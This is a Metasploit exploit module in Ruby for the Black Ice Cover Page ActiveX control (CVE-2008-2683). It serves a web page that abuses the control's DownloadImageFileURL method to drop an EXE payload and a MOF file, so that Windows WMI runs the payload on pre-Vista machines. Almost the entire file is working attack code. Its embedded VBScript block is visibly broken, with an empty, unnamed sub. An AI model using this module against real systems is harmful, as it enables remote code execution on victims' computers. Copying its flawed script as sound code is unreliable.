require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:os_name=> OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
:vuln_test=> nil,
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',
'Description'=> %q{
This module allows remote attackers to place arbitrary files on a users file system
by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX
Control (BIImgFrm.ocx 12.0.0.0).Code exeuction can be acheived by first uploading the
payload to the remote machine, and then upload another mof file, which enables Windows
Management Instrumentation service to execute the binary. Please note that this module
currently only works for Windows before Vista.Also, a similar issue is reported in
BIDIB.ocx (10.9.3.0) within the Barcode SDK.
},
'License'=> MSF_LICENSE,
'Author' =>
[
'shinnai',
'mr_me',
'sinn3r'
],
'Version'=> '$Revision: 12992 $',
'References' =>
[
[ 'CVE', '2008-2683'],
[ 'OSVDB', '46007'],
[ 'BID', '29577'],
[ 'URL', 'http://www.exploit-db.com/exploits/5750/' ],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Payload'=>
{
'Space' => 2048,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets'=>
[
[ 'Automatic', { } ],
],
'DefaultTarget'=> 0,
'DisclosureDate' => 'Jun 05 2008'))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
if request.uri.match(/\.EXE/)
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })
return
elsif request.uri.match(/\.MOF/)
return if @mof_name == nil or @payload_name == nil
print_status("Generating mof...")
mof = generate_mof(@mof_name, @payload_name)
print_status("Sending MOF to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, mof, {'Content-Type'=>'application/octet-stream'})
return
end
url ="http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'] + get_resource() + "/"
clsid = "79956462-F148-497F-B247-DF35A095F80B"
method= "DownloadImageFileURL"
blackice= rand_text_alpha(rand(100) + 1)
@payload_name = rand_text_alpha(rand(10) + 1) + ".EXE"
payload_vbs_url_name= rand_text_alpha(5)
payload_vbs_lpath = rand_text_alpha(6)
@mof_name = rand_text_alpha(rand(10) + 1) + ".MOF"
mof_vbs_url_name= rand_text_alpha(5)
mof_vbs_lpath = rand_text_alpha(6)
sub_name= rand_text_alpha(rand(10) + 1)
content = <<-EOS
<html>
<object classid='clsid:#{clsid}' id='#{blackice}' ></object>
<script language='vbscript'>
sub
end sub
setTimeout "#{sub_name}()", 4000
</script>
</html>
EOS
content = content.gsub(/^\t\t/, '')
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, content)
handler(cli)
end
def exploit
@payload = generate_payload_exe
super
end
end